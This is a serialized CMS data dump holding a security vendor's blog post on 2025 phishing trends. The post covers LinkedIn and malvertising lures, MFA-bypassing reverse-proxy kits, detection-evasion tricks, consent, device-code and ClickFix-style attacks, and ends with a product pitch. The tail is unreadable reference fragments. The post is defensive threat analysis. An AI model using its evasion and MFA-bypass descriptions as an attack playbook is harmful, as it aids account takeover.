,{},[],{"data":101775,"content":101776,"nodeType":866},{},[101777,101780,101787,101790,101797],{"data":101778,"marks":101779,"value":32401,"nodeType":865},{},[],{"data":101781,"content":101782,"nodeType":882},{"uri":22700},[101783],{"data":101784,"marks":101785,"value":22706,"nodeType":865},{},[101786],{"type":997},{"data":101788,"marks":101789,"value":71034,"nodeType":865},{},[],{"data":101791,"content":101792,"nodeType":882},{"uri":1728},[101793],{"data":101794,"marks":101795,"value":22730,"nodeType":865},{},[101796],{"type":997},{"data":101798,"marks":101799,"value":1048,"nodeType":865},{},[],{"items":101801},[101802,101804],{"sys":101803,"name":11426},{"id":11425},{"sys":101805,"name":342},{"id":8410},{"items":101807},[101808],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":101809},{"url":11434},{"__typename":1788,"sys":101811,"content":101813,"title":102478,"synopsis":102479,"hashTags":59,"publishedDate":102480,"slug":102481,"tagsCollection":102482,"authorsCollection":102488},{"id":101812},"5CqV6e5wfHsfEVczkWSerZ",{"json":101814},{"data":101815,"content":101816,"nodeType":1739},{},[101817,101823,101830,101837,101840,101848,101855,101862,101869,101963,101969,101975,101981,101988,101995,102014,102017,102025,102032,102039,102046,102089,102096,102141,102147,102154,102161,102164,102172,102179,102186,102193,102263,102269,102275,102307,102313,102332,102338,102345,102352,102358,102361,102369,102376,102409,102416,102419,102427,102434,102441,102467,102472],{"data":101818,"content":101822,"nodeType":925},{"target":101819},{"sys":101820},{"id":101821,"type":922,"linkType":923},"1axcGwWxeKxDMk8jOWhYT6",[],{"data":101824,"content":101825,"nodeType":866},{},[101826],{"data":101827,"marks":101828,"value":101829,"nodeType":865},{},[],"2025 saw a huge amount of attacker innovation when it comes to phishing attacks, as attackers continue to double down on identity-based techniques. The continual evolution of phishing means it remains one of the most effective methods available to attackers today — in fact, it’s arguably more effective than ever. ",{"data":101831,"content":101832,"nodeType":866},{},[101833],{"data":101834,"marks":101835,"value":101836,"nodeType":865},{},[],"Let’s take a closer look at the key trends that defined phishing attacks in 2025, and what these changes mean for security teams heading into 2026. ",{"data":101838,"content":101839,"nodeType":953},{},[],{"data":101841,"content":101842,"nodeType":963},{},[101843],{"data":101844,"marks":101845,"value":101847,"nodeType":865},{},[101846],{"type":961},"#1: Phishing goes omni-channel",{"data":101849,"content":101850,"nodeType":866},{},[101851],{"data":101852,"marks":101853,"value":101854,"nodeType":865},{},[],"We’ve been talking about the rise of non-email phishing for some time now, but 2025 was the year phishing truly went omni-channel. ",{"data":101856,"content":101857,"nodeType":866},{},[101858],{"data":101859,"marks":101860,"value":101861,"nodeType":865},{},[],"Although most of the industry’s data on phishing still comes from email security vendors and tools, the picture is starting to change. Roughly 1 in 3 phishing attacks detected by Push Security were delivered outside of email. ",{"data":101863,"content":101864,"nodeType":866},{},[101865],{"data":101866,"marks":101867,"value":101868,"nodeType":865},{},[],"There are many examples of phishing campaigns operated outside of email, with LinkedIn DMs and Google Search being the top channels we identified. Notable campaigns include:",{"data":101870,"content":101871,"nodeType":1049},{},[101872,101894,101916],{"data":101873,"content":101874,"nodeType":1003},{},[101875],{"data":101876,"content":101877,"nodeType":866},{},[101878,101881,101890],{"data":101879,"marks":101880,"value":21,"nodeType":865},{},[],{"data":101882,"content":101884,"nodeType":882},{"uri":101883},"https://pushsecurity.com/blog/how-push-stopped-a-high-risk-linkedin-spear-phishing-attack",[101885],{"data":101886,"marks":101887,"value":101889,"nodeType":865},{},[101888],{"type":997},"A targeted campaign against tech company Exec’s",{"data":101891,"marks":101892,"value":101893,"nodeType":865},{},[]," delivered via compromised accounts on LinkedIn from other employees of the same organization, framed as an investment opportunity.",{"data":101895,"content":101896,"nodeType":1003},{},[101897],{"data":101898,"content":101899,"nodeType":866},{},[101900,101903,101912],{"data":101901,"marks":101902,"value":21,"nodeType":865},{},[],{"data":101904,"content":101906,"nodeType":882},{"uri":101905},"https://pushsecurity.com/blog/new-phishing-campaign-identified-targeting-linkedin-users",[101907],{"data":101908,"marks":101909,"value":101911,"nodeType":865},{},[101910],{"type":997},"A campaign posing as a South American investment fund",{"data":101913,"marks":101914,"value":101915,"nodeType":865},{},[]," offering the opportunity to join the fund. ",{"data":101917,"content":101918,"nodeType":1003},{},[101919],{"data":101920,"content":101921,"nodeType":866},{},[101922,101926,101935,101939,101947,101951,101959],{"data":101923,"marks":101924,"value":101925,"nodeType":865},{},[],"Several malvertising campaigns capturing users searching for key search terms such as “",{"data":101927,"content":101929,"nodeType":882},{"uri":101928},"https://pushsecurity.com/blog/analysing-a-malvertising-attack-targeting-business-google-accounts",[101930],{"data":101931,"marks":101932,"value":101934,"nodeType":865},{},[101933],{"type":997},"Google Ads",{"data":101936,"marks":101937,"value":101938,"nodeType":865},{},[],"”, “",{"data":101940,"content":101942,"nodeType":882},{"uri":101941},"https://pushsecurity.com/blog/analysing-a-sophisticated-google-malvertising-attack",[101943],{"data":101944,"marks":101945,"value":90224,"nodeType":865},{},[101946],{"type":997},{"data":101948,"marks":101949,"value":101950,"nodeType":865},{},[],"” and “",{"data":101952,"content":101954,"nodeType":882},{"uri":101953},"https://pushsecurity.com/blog/investigating-a-recent-malvertising-campaign-targeting-onfido-customers",[101955],{"data":101956,"marks":101957,"value":90248,"nodeType":865},{},[101958],{"type":997},{"data":101960,"marks":101961,"value":101962,"nodeType":865},{},[],"”. ",{"data":101964,"content":101968,"nodeType":925},{"target":101965},{"sys":101966},{"id":101967,"type":922,"linkType":923},"3LjyZooaJQ83eJt8DRX9bP",[],{"data":101970,"content":101974,"nodeType":925},{"target":101971},{"sys":101972},{"id":101973,"type":922,"linkType":923},"644LdQYjRHerpKU5pCGv1n",[],{"data":101976,"content":101980,"nodeType":925},{"target":101977},{"sys":101978},{"id":101979,"type":922,"linkType":923},"3anCGk5A4AOVH1t9dr1xKp",[],{"data":101982,"content":101983,"nodeType":866},{},[101984],{"data":101985,"marks":101986,"value":101987,"nodeType":865},{},[],"Phishing via non-email channels has a number of advantages. With email being the best protected phishing vector, it sidesteps these controls entirely. There’s no need to build up your sender reputation, find ways to trick content analysis engines, or hope your message doesn’t end up in the spam folder.",{"data":101989,"content":101990,"nodeType":866},{},[101991],{"data":101992,"marks":101993,"value":101994,"nodeType":865},{},[],"In comparison, non-email vectors have practically no screening, your security team has no visibility, and users are less likely to anticipate possible phishing. It’s arguable that a company Exec is more likely to engage with a LinkedIn DM from a reputable account than a cold email. And social media apps do nothing to analyse messages for phishing links. (And because of the limitations of URL-based checks when it comes to today’s multi-stage phishing attacks, this would be extremely difficult even if they tried). ",{"data":101996,"content":101997,"nodeType":866},{},[101998,102002,102010],{"data":101999,"marks":102000,"value":102001,"nodeType":865},{},[],"Search engines also present a huge opportunity for attackers, whether they’re compromising existing, high reputation sites, spinning up malicious ads, or simply vibe coding their own SEO-optimized websites. This is an effective way to launch “watering hole” style attacks, casting a wide net to harvest credentials and account access that can be re-sold to other criminals for a fee, or leveraged by partners in the cybercriminal ecosystem as part of major cyber breaches (such as the recent attacks by the “",{"data":102003,"content":102005,"nodeType":882},{"uri":102004},"https://pushsecurity.com/blog/scattered-lapsus-hunters",[102006],{"data":102007,"marks":102008,"value":19437,"nodeType":865},{},[102009],{"type":997},{"data":102011,"marks":102012,"value":102013,"nodeType":865},{},[],"” criminal collective, all of which began with identity-based initial access). ",{"data":102015,"content":102016,"nodeType":953},{},[],{"data":102018,"content":102019,"nodeType":963},{},[102020],{"data":102021,"marks":102022,"value":102024,"nodeType":865},{},[102023],{"type":961},"#2: Criminal PhaaS kits dominate",{"data":102026,"content":102027,"nodeType":866},{},[102028],{"data":102029,"marks":102030,"value":102031,"nodeType":865},{},[],"The vast majority of phishing attacks today use a reverse proxy. This means they are capable of bypassing most forms of MFA because a session is created and stolen in real time as part of the attack. There is no downside to this approach compared to the basic credential phishing that was the norm more than a decade ago.",{"data":102033,"content":102034,"nodeType":866},{},[102035],{"data":102036,"marks":102037,"value":102038,"nodeType":865},{},[],"These Attacker-in-the-Middle attacks are powered by criminal Phishing-as-a-Service (PhaaS) kits such as Tycoon, NakedPages, Sneaky2FA, Flowerstorm, Salty2FA, along with various Evilginx variations (nominally a tool for red teamers, but widely used by attackers). ",{"data":102040,"content":102041,"nodeType":866},{},[102042],{"data":102043,"marks":102044,"value":102045,"nodeType":865},{},[],"PhaaS kits are incredibly important to cybercrime because they make sophisticated and continuously evolving capabilities available to the criminal marketplace, lowering the barrier to entry for criminals running advanced phishing campaigns. This is not unique to phishing: Ransomware-as-a-Service, Credential Stuffing-as-a-Service, and many more for-hire tools and services exist for criminals to use for a fee. ",{"data":102047,"content":102048,"nodeType":866},{},[102049,102053,102062,102065,102072,102076,102085],{"data":102050,"marks":102051,"value":102052,"nodeType":865},{},[],"This competitive environment has fueled attacker innovation, resulting in an environment in which MFA-bypass is table stakes, phishing-resistant authentication is being circumvented through ",{"data":102054,"content":102056,"nodeType":882},{"uri":102055},"https://pushsecurity.com/blog/mfa-downgrade-attacks",[102057],{"data":102058,"marks":102059,"value":102061,"nodeType":865},{},[102060],{"type":997},"downgrade attacks",{"data":102063,"marks":102064,"value":3892,"nodeType":865},{},[],{"data":102066,"content":102067,"nodeType":882},{"uri":13634},[102068],{"data":102069,"marks":102070,"value":29898,"nodeType":865},{},[102071],{"type":997},{"data":102073,"marks":102074,"value":102075,"nodeType":865},{},[]," are being used to circumvent security tools — from email scanners, to web-crawling security tools, to web proxies analyzing network traffic. It also means that when new capabilities emerge — such as ",{"data":102077,"content":102079,"nodeType":882},{"uri":102078},"https://pushsecurity.com/blog/analyzing-the-latest-sneaky2fa-phishing-page",[102080],{"data":102081,"marks":102082,"value":102084,"nodeType":865},{},[102083],{"type":997},"Browser-in-the-Browser",{"data":102086,"marks":102087,"value":102088,"nodeType":865},{},[]," — these are quickly integrated into a range of phishing kits. ",{"data":102090,"content":102091,"nodeType":866},{},[102092],{"data":102093,"marks":102094,"value":102095,"nodeType":865},{},[],"Some of the most prevalent detection evasion methods we’ve seen this year are:",{"data":102097,"content":102098,"nodeType":1049},{},[102099,102109,102119],{"data":102100,"content":102101,"nodeType":1003},{},[102102],{"data":102103,"content":102104,"nodeType":866},{},[102105],{"data":102106,"marks":102107,"value":102108,"nodeType":865},{},[],"Widespread use of bot protection. Every phishing page today comes with either a custom CAPTCHA or Cloudflare Turnstile (legitimate and fake versions) designed to block web-crawling security bots from being able to analyse phishing pages. ",{"data":102110,"content":102111,"nodeType":1003},{},[102112],{"data":102113,"content":102114,"nodeType":866},{},[102115],{"data":102116,"marks":102117,"value":102118,"nodeType":865},{},[],"Extensive redirect chains between the initial link seeded out to the victim, and the actual malicious page hosting phishing content, designed to bury phishing sites among several legitimate pages. ",{"data":102120,"content":102121,"nodeType":1003},{},[102122],{"data":102123,"content":102124,"nodeType":866},{},[102125,102129,102137],{"data":102126,"marks":102127,"value":102128,"nodeType":865},{},[],"Multi-stage page loading performed client-side via JavaScript. This means that pages are ",{"data":102130,"content":102131,"nodeType":882},{"uri":70317},[102132],{"data":102133,"marks":102134,"value":102136,"nodeType":865},{},[102135],{"type":997},"conditionally loaded",{"data":102138,"marks":102139,"value":102140,"nodeType":865},{},[],", and if conditions aren’t met, malicious content isn’t served — so the page looks clean. This also means that most of the malicious activity is happening locally, without creating web requests that can be analysed by network traffic analysis tools (e.g. web proxies). ",{"data":102142,"content":102146,"nodeType":925},{"target":102143},{"sys":102144},{"id":102145,"type":922,"linkType":923},"5LLgjhCexTYd5OlHuptv3n",[],{"data":102148,"content":102149,"nodeType":866},{},[102150],{"data":102151,"marks":102152,"value":102153,"nodeType":865},{},[],"This contributes to an environment where phishing is going undetected for extended periods of time. Even when a page is flagged, it’s trivial for attackers to dynamically serve up different phishing pages from the same benign chain of URLs used in the attack. ",{"data":102155,"content":102156,"nodeType":866},{},[102157],{"data":102158,"marks":102159,"value":102160,"nodeType":865},{},[],"This is all to say that the old-school approach to URL blocking bad sites is becoming much harder and leaves you two steps behind attackers at all times.",{"data":102162,"content":102163,"nodeType":953},{},[],{"data":102165,"content":102166,"nodeType":963},{},[102167],{"data":102168,"marks":102169,"value":102171,"nodeType":865},{},[102170],{"type":961},"#3: Attackers find ways around phishing-resistant authentication (and other security controls)",{"data":102173,"content":102174,"nodeType":866},{},[102175],{"data":102176,"marks":102177,"value":102178,"nodeType":865},{},[],"We already mentioned that MFA downgrade has been an area of focus for security researchers and attackers. But phishing-resistant authentication methods (i.e. passkeys) remain effective so long as the phishing-resistant factor is the only possible login factor, and there are no backup methods enabled for the account. (Though because of the logistical issues of having just one factor, this is fairly uncommon.) ",{"data":102180,"content":102181,"nodeType":866},{},[102182],{"data":102183,"marks":102184,"value":102185,"nodeType":865},{},[],"Equally, access control policies can be applied on larger enterprise apps and cloud platforms to reduce the risk of unauthorized access (although these can be tricky to implement and maintain without error).",{"data":102187,"content":102188,"nodeType":866},{},[102189],{"data":102190,"marks":102191,"value":102192,"nodeType":865},{},[],"In any case, attackers are considering all eventualities and looking for alternative ways into accounts that are less well protected. This mainly involves attackers circumventing the standard authentication process, through techniques such as:",{"data":102194,"content":102195,"nodeType":1049},{},[102196,102223,102248],{"data":102197,"content":102198,"nodeType":1003},{},[102199],{"data":102200,"content":102201,"nodeType":866},{},[102202,102205,102214,102219],{"data":102203,"marks":102204,"value":21,"nodeType":865},{},[],{"data":102206,"content":102207,"nodeType":882},{"uri":93156},[102208],{"data":102209,"marks":102210,"value":102213,"nodeType":865},{},[102211,102212],{"type":997},{"type":961},"Consent phishing",{"data":102215,"marks":102216,"value":102218,"nodeType":865},{},[102217],{"type":961},":",{"data":102220,"marks":102221,"value":102222,"nodeType":865},{},[]," Tricking victims into connecting malicious OAuth apps into their app tenant.",{"data":102224,"content":102225,"nodeType":1003},{},[102226],{"data":102227,"content":102228,"nodeType":866},{},[102229,102232,102240,102244],{"data":102230,"marks":102231,"value":21,"nodeType":865},{},[],{"data":102233,"content":102234,"nodeType":882},{"uri":29482},[102235],{"data":102236,"marks":102237,"value":360,"nodeType":865},{},[102238,102239],{"type":997},{"type":961},{"data":102241,"marks":102242,"value":11208,"nodeType":865},{},[102243],{"type":961},{"data":102245,"marks":102246,"value":102247,"nodeType":865},{},[],"The same as consent phishing, but authorizing through the device code flow designed for device logins that cannot support OAuth, by providing a substitute passcode. ",{"data":102249,"content":102250,"nodeType":1003},{},[102251],{"data":102252,"content":102253,"nodeType":866},{},[102254,102259],{"data":102255,"marks":102256,"value":102258,"nodeType":865},{},[102257],{"type":961},"Malicious browser extensions: ",{"data":102260,"marks":102261,"value":102262,"nodeType":865},{},[],"Tricking victims into installing a malicious extension (or hijacking an existing one) to steal credentials and cookies from the browser. ",{"data":102264,"content":102268,"nodeType":925},{"target":102265},{"sys":102266},{"id":102267,"type":922,"linkType":923},"75lMjdJtq9APebTaF2hQ1b",[],{"data":102270,"content":102274,"nodeType":925},{"target":102271},{"sys":102272},{"id":102273,"type":922,"linkType":923},"4KWwlg8PsuyAud8i5tpWfH",[],{"data":102276,"content":102277,"nodeType":866},{},[102278,102282,102290,102294,102303],{"data":102279,"marks":102280,"value":102281,"nodeType":865},{},[],"Another technique that attackers are using to steal credentials and sessions is ",{"data":102283,"content":102285,"nodeType":882},{"uri":102284},"https://pushsecurity.com/blog/the-most-advanced-clickfix-yet",[102286],{"data":102287,"marks":102288,"value":315,"nodeType":865},{},[102289],{"type":997},{"data":102291,"marks":102292,"value":102293,"nodeType":865},{},[],". ClickFix was the ",{"data":102295,"content":102297,"nodeType":882},{"uri":102296},"https://cdn-dynmedia-1.microsoft.com/is/content/microsoftcorp/microsoft/msc/documents/presentations/CSR/Microsoft-Digital-Defense-Report-2025.pdf#page=36",[102298],{"data":102299,"marks":102300,"value":102302,"nodeType":865},{},[102301],{"type":997},"top initial access vector detected by Microsoft last year",{"data":102304,"marks":102305,"value":102306,"nodeType":865},{},[],", involved in 47% of attacks. While not a traditional phishing attack, this sees attackers socially engineer users into running malicious code on their machine, typically deploying remote access tools and infostealer malware. Infostealers are then used to harvest credentials and cookies for initial access to various apps and services. ",{"data":102308,"content":102312,"nodeType":925},{"target":102309},{"sys":102310},{"id":102311,"type":922,"linkType":923},"4cC9GbPoKFmYUJgbkbeOLs",[],{"data":102314,"content":102315,"nodeType":866},{},[102316,102320,102328],{"data":102317,"marks":102318,"value":102319,"nodeType":865},{},[],"Push Security researchers have also discovered a brand new technique dubbed ",{"data":102321,"content":102323,"nodeType":882},{"uri":102322},"https://pushsecurity.com/blog/consentfix",[102324],{"data":102325,"marks":102326,"value":11095,"nodeType":865},{},[102327],{"type":997},{"data":102329,"marks":102330,"value":102331,"nodeType":865},{},[]," — a browser-native version of ClickFix that results in an OAuth connection being established to the target app, simply by copying and pasting a legitimate URL containing OAuth key material. ",{"data":102333,"content":102337,"nodeType":925},{"target":102334},{"sys":102335},{"id":102336,"type":922,"linkType":923},"4bdqleePd53oK5v5uEUFbr",[],{"data":102339,"content":102340,"nodeType":866},{},[102341],{"data":102342,"marks":102343,"value":102344,"nodeType":865},{},[],"This is even more dangerous than ClickFix as it is entirely browser-native — removing the endpoint detection surface (and strong security controls like EDR) from the equation entirely. And in the particular case spotted by Push, the attackers targeted Azure CLI — a first-party Microsoft app that has special permissions and can’t be restricted like third-party apps. ",{"data":102346,"content":102347,"nodeType":866},{},[102348],{"data":102349,"marks":102350,"value":102351,"nodeType":865},{},[],"Really, there are lots of different techniques attackers can use to take over accounts on key business applications — it’s outdated to think of phishing as being locked in to passwords, MFA, and the standard authentication flow. ",{"data":102353,"content":102357,"nodeType":925},{"target":102354},{"sys":102355},{"id":102356,"type":922,"linkType":923},"74S97KkuFzI48UwXw3msTq",[],{"data":102359,"content":102360,"nodeType":953},{},[],{"data":102362,"content":102363,"nodeType":963},{},[102364],{"data":102365,"marks":102366,"value":102368,"nodeType":865},{},[102367],{"type":961},"Guidance for security teams in 2026",{"data":102370,"content":102371,"nodeType":866},{},[102372],{"data":102373,"marks":102374,"value":102375,"nodeType":865},{},[],"To tackle phishing in 2026, security teams need to change their threat model for phishing, and acknowledge that:",{"data":102377,"content":102378,"nodeType":1049},{},[102379,102389,102399],{"data":102380,"content":102381,"nodeType":1003},{},[102382],{"data":102383,"content":102384,"nodeType":866},{},[102385],{"data":102386,"marks":102387,"value":102388,"nodeType":865},{},[],"It’s not enough to protect email as your main anti-phishing surface",{"data":102390,"content":102391,"nodeType":1003},{},[102392],{"data":102393,"content":102394,"nodeType":866},{},[102395],{"data":102396,"marks":102397,"value":102398,"nodeType":865},{},[],"Network and traffic monitoring tools aren’t keeping up with modern phishing pages",{"data":102400,"content":102401,"nodeType":1003},{},[102402],{"data":102403,"content":102404,"nodeType":866},{},[102405],{"data":102406,"marks":102407,"value":102408,"nodeType":865},{},[],"Phishing-resistant authentication, even if perfectly implemented, doesn’t make you immune",{"data":102410,"content":102411,"nodeType":866},{},[102412],{"data":102413,"marks":102414,"value":102415,"nodeType":865},{},[],"Detection and response is key. But most organizations have significant visibility gaps.",{"data":102417,"content":102418,"nodeType":953},{},[],{"data":102420,"content":102421,"nodeType":963},{},[102422],{"data":102423,"marks":102424,"value":102426,"nodeType":865},{},[102425],{"type":961},"Solving the detection gap in the browser",{"data":102428,"content":102429,"nodeType":866},{},[102430],{"data":102431,"marks":102432,"value":102433,"nodeType":865},{},[],"One thing that these attacks have in common is that they all take place in the web browser, targeting users as they go about their work on the internet. That makes it the perfect place to detect and respond to these attacks. But right now, the browser is a blind-spot for most security teams.",{"data":102435,"content":102436,"nodeType":866},{},[102437],{"data":102438,"marks":102439,"value":102440,"nodeType":865},{},[],"Push Security’s browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don’t need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.",{"data":102442,"content":102443,"nodeType":866},{},[102444,102447,102454,102457,102464],{"data":102445,"marks":102446,"value":32401,"nodeType":865},{},[],{"data":102448,"content":102449,"nodeType":882},{"uri":22700},[102450],{"data":102451,"marks":102452,"value":22706,"nodeType":865},{},[102453],{"type":997},{"data":102455,"marks":102456,"value":71034,"nodeType":865},{},[],{"data":102458,"content":102459,"nodeType":882},{"uri":1728},[102460],{"data":102461,"marks":102462,"value":22730,"nodeType":865},{},[102463],{"type":997},{"data":102465,"marks":102466,"value":1048,"nodeType":865},{},[],{"data":102468,"content":102471,"nodeType":925},{"target":102469},{"sys":102470},{"id":71049,"type":922,"linkType":923},[],{"data":102473,"content":102474,"nodeType":866},{},[102475],{"data":102476,"marks":102477,"value":21,"nodeType":865},{},[],"2025’s top phishing trends — and what they mean for your 2026 security strategy","Analyzing the key trends that defined phishing attacks in 2025, and what these changes mean for security teams heading into 2026. ","2025-12-15T00:00:00.000Z","2025-top-phishing-trends",{"items":102483},[102484,102486],{"sys":102485,"name":342},{"id":8410},{"sys":102487,"name":11426},{"id":11425},{"items":102489},[102490],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":102491},{"url":11434},"blog/cyber-criminal-ecosystem-analysis",{"json":102494},{"data":102495,"content":102496,"nodeType":1739},{},[102497],{"data":102498,"content":102499,"nodeType":866},{},[102500],{"data":102501,"marks":102502,"value":102503,"nodeType":865},{},[],"Attackers are going out of their way to target Google Ad Manager accounts, powering malvertising scams. Here’s what you need to know.",{"id":15306,"publishedAt":102505},"2026-08-12T11:53:19.611Z",{"items":102507},[102508,102510],{"sys":102509,"name":11426},{"id":11425},{"sys":102511,"name":342},{"id":8410},{"items":102513},[102514,102516,102518,102520,102522,102524,102526,102528,102530,102532,102534,102536,102538],{"sys":102515,"name":279,"slug":280,"tier":31},{"id":276},{"sys":102517,"name":519,"slug":520,"tier":31},{"id":516},{"sys":102519,"name":642,"slug":643,"tier":31},{"id":639},{"sys":102521,"name":440,"slug":441,"tier":45},{"id":437},{"sys":102523,"name":261,"slug":262,"tier":45},{"id":258},{"sys":102525,"name":571,"slug":572,"tier":45},{"id":568},{"sys":102527,"name":422,"slug":423,"tier":45},{"id":419},{"sys":102529,"name":315,"slug":316,"tier":45},{"id":312},{"sys":102531,"name":607,"slug":608,"tier":45},{"id":604},{"sys":102533,"name":324,"slug":325,"tier":45},{"id":321},{"sys":102535,"name":475,"slug":476,"tier":45},{"id":472},{"sys":102537,"name":404,"slug":405,"tier":45},{"id":401},{"sys":102539,"name":431,"slug":432,"tier":45},{"id":428},"j5kz4wXsWGgjMwFQGvl7HjTkzJTgcqSvTlxgkr_rNLg",{"id":102542,"title":99747,"authorsCollection":102543,"content":102547,"extension":228,"faqItemsCollection":103811,"faqTitle":59,"featured":6,"hashTags":59,"meta":103813,"metaTitle":103814,"ogImage":59,"postType":103815,"publishedDate":99749,"relatedBlogPostsCollection":103816,"slug":99750,"stem":105987,"subtitle":59,"summary":105988,"synopsis":99748,"sys":105999,"tagsCollection":106001,"topicsCollection":106007,"__hash__":106051},"blog/blog/taking-the-fight-to-attackers-top-features-of-2025.json",{"items":102544},[102545],{"fullName":3774,"firstName":3775,"jobTitle":3776,"socialLinks":59,"profilePicture":102546},{"url":3778},{"json":102548,"links":103668},{"data":102549,"content":102550,"nodeType":1739},{},[102551,102557,102563,102620,102626,102684,102689,102695,102701,102704,102710,102716,102722,102808,102823,102829,102866,102872,102878,102884,102914,102919,102946,102951,102957,102963,102993,103010,103013,103019,103025,103049,103055,103061,103067,103073,103079,103084,103097,103136,103141,103158,103161,103167,103173,103190,103196,103222,103239,103245,103262,103268,103274,103325,103331,103336,103349,103362,103379,103384,103401,103407,103410,103416,103422,103428,103434,103451,103457,103474,103479,103485,103515,103532,103535,103541,103547,103553,103570,103576,103589,103594,103600,103606,103623,103626,103632,103638,103644],{"data":102552,"content":102553,"nodeType":866},{},[102554],{"data":102555,"marks":102556,"value":98478,"nodeType":865},{},[],{"data":102558,"content":102559,"nodeType":866},{},[102560],{"data":102561,"marks":102562,"value":98485,"nodeType":865},{},[],{"data":102564,"content":102565,"nodeType":1049},{},[102566,102584,102602],{"data":102567,"content":102568,"nodeType":1003},{},[102569],{"data":102570,"content":102571,"nodeType":866},{},[102572,102575,102581],{"data":102573,"marks":102574,"value":98498,"nodeType":865},{},[],{"data":102576,"content":102577,"nodeType":882},{"uri":74512},[102578],{"data":102579,"marks":102580,"value":29673,"nodeType":865},{},[],{"data":102582,"marks":102583,"value":23156,"nodeType":865},{},[],{"data":102585,"content":102586,"nodeType":1003},{},[102587],{"data":102588,"content":102589,"nodeType":866},{},[102590,102593,102599],{"data":102591,"marks":102592,"value":98517,"nodeType":865},{},[],{"data":102594,"content":102595,"nodeType":882},{"uri":74512},[102596],{"data":102597,"marks":102598,"value":29673,"nodeType":865},{},[],{"data":102600,"marks":102601,"value":23156,"nodeType":865},{},[],{"data":102603,"content":102604,"nodeType":1003},{},[102605],{"data":102606,"content":102607,"nodeType":866},{},[102608,102611,102617],{"data":102609,"marks":102610,"value":98536,"nodeType":865},{},[],{"data":102612,"content":102613,"nodeType":882},{"uri":74533},[102614],{"data":102615,"marks":102616,"value":98543,"nodeType":865},{},[],{"data":102618,"marks":102619,"value":23156,"nodeType":865},{},[],{"data":102621,"content":102622,"nodeType":866},{},[102623],{"data":102624,"marks":102625,"value":98553,"nodeType":865},{},[],{"data":102627,"content":102628,"nodeType":1049},{},[102629,102645,102668],{"data":102630,"content":102631,"nodeType":1003},{},[102632],{"data":102633,"content":102634,"nodeType":866},{},[102635,102638,102642],{"data":102636,"marks":102637,"value":98566,"nodeType":865},{},[],{"data":102639,"marks":102640,"value":98571,"nodeType":865},{},[102641],{"type":961},{"data":102643,"marks":102644,"value":98575,"nodeType":865},{},[],{"data":102646,"content":102647,"nodeType":1003},{},[102648],{"data":102649,"content":102650,"nodeType":866},{},[102651,102654,102658,102661,102665],{"data":102652,"marks":102653,"value":98585,"nodeType":865},{},[],{"data":102655,"marks":102656,"value":98590,"nodeType":865},{},[102657],{"type":961},{"data":102659,"marks":102660,"value":98594,"nodeType":865},{},[],{"data":102662,"marks":102663,"value":98599,"nodeType":865},{},[102664],{"type":961},{"data":102666,"marks":102667,"value":98603,"nodeType":865},{},[],{"data":102669,"content":102670,"nodeType":1003},{},[102671],{"data":102672,"content":102673,"nodeType":866},{},[102674,102677,102681],{"data":102675,"marks":102676,"value":98613,"nodeType":865},{},[],{"data":102678,"marks":102679,"value":98618,"nodeType":865},{},[102680],{"type":961},{"data":102682,"marks":102683,"value":98622,"nodeType":865},{},[],{"data":102685,"content":102688,"nodeType":925},{"target":102686},{"sys":102687},{"id":98627,"type":922,"linkType":923},[],{"data":102690,"content":102691,"nodeType":866},{},[102692],{"data":102693,"marks":102694,"value":98635,"nodeType":865},{},[],{"data":102696,"content":102697,"nodeType":866},{},[102698],{"data":102699,"marks":102700,"value":98642,"nodeType":865},{},[],{"data":102702,"content":102703,"nodeType":953},{},[],{"data":102705,"content":102706,"nodeType":963},{},[102707],{"data":102708,"marks":102709,"value":98652,"nodeType":865},{},[],{"data":102711,"content":102712,"nodeType":1458},{},[102713],{"data":102714,"marks":102715,"value":98659,"nodeType":865},{},[],{"data":102717,"content":102718,"nodeType":866},{},[102719],{"data":102720,"marks":102721,"value":98666,"nodeType":865},{},[],{"data":102723,"content":102724,"nodeType":1049},{},[102725,102749,102784],{"data":102726,"content":102727,"nodeType":1003},{},[102728],{"data":102729,"content":102730,"nodeType":866},{},[102731,102735,102738,102746],{"data":102732,"marks":102733,"value":98680,"nodeType":865},{},[102734],{"type":961},{"data":102736,"marks":102737,"value":98684,"nodeType":865},{},[],{"data":102739,"content":102742,"nodeType":15311},{"target":102740},{"sys":102741},{"id":98689,"type":922,"linkType":923},[102743],{"data":102744,"marks":102745,"value":98694,"nodeType":865},{},[],{"data":102747,"marks":102748,"value":98698,"nodeType":865},{},[],{"data":102750,"content":102751,"nodeType":1003},{},[102752],{"data":102753,"content":102754,"nodeType":866},{},[102755,102759,102762,102770,102773,102781],{"data":102756,"marks":102757,"value":98709,"nodeType":865},{},[102758],{"type":961},{"data":102760,"marks":102761,"value":98713,"nodeType":865},{},[],{"data":102763,"content":102766,"nodeType":15311},{"target":102764},{"sys":102765},{"id":98718,"type":922,"linkType":923},[102767],{"data":102768,"marks":102769,"value":441,"nodeType":865},{},[],{"data":102771,"marks":102772,"value":98726,"nodeType":865},{},[],{"data":102774,"content":102777,"nodeType":15311},{"target":102775},{"sys":102776},{"id":98731,"type":922,"linkType":923},[102778],{"data":102779,"marks":102780,"value":98736,"nodeType":865},{},[],{"data":102782,"marks":102783,"value":10349,"nodeType":865},{},[],{"data":102785,"content":102786,"nodeType":1003},{},[102787],{"data":102788,"content":102789,"nodeType":866},{},[102790,102794,102797,102805],{"data":102791,"marks":102792,"value":98750,"nodeType":865},{},[102793],{"type":961},{"data":102795,"marks":102796,"value":98754,"nodeType":865},{},[],{"data":102798,"content":102801,"nodeType":15311},{"target":102799},{"sys":102800},{"id":98759,"type":922,"linkType":923},[102802],{"data":102803,"marks":102804,"value":98764,"nodeType":865},{},[],{"data":102806,"marks":102807,"value":98768,"nodeType":865},{},[],{"data":102809,"content":102810,"nodeType":866},{},[102811,102814,102820],{"data":102812,"marks":102813,"value":98775,"nodeType":865},{},[],{"data":102815,"content":102816,"nodeType":882},{"uri":98778},[102817],{"data":102818,"marks":102819,"value":98783,"nodeType":865},{},[],{"data":102821,"marks":102822,"value":98787,"nodeType":865},{},[],{"data":102824,"content":102825,"nodeType":866},{},[102826],{"data":102827,"marks":102828,"value":98794,"nodeType":865},{},[],{"data":102830,"content":102831,"nodeType":1049},{},[102832,102841,102857],{"data":102833,"content":102834,"node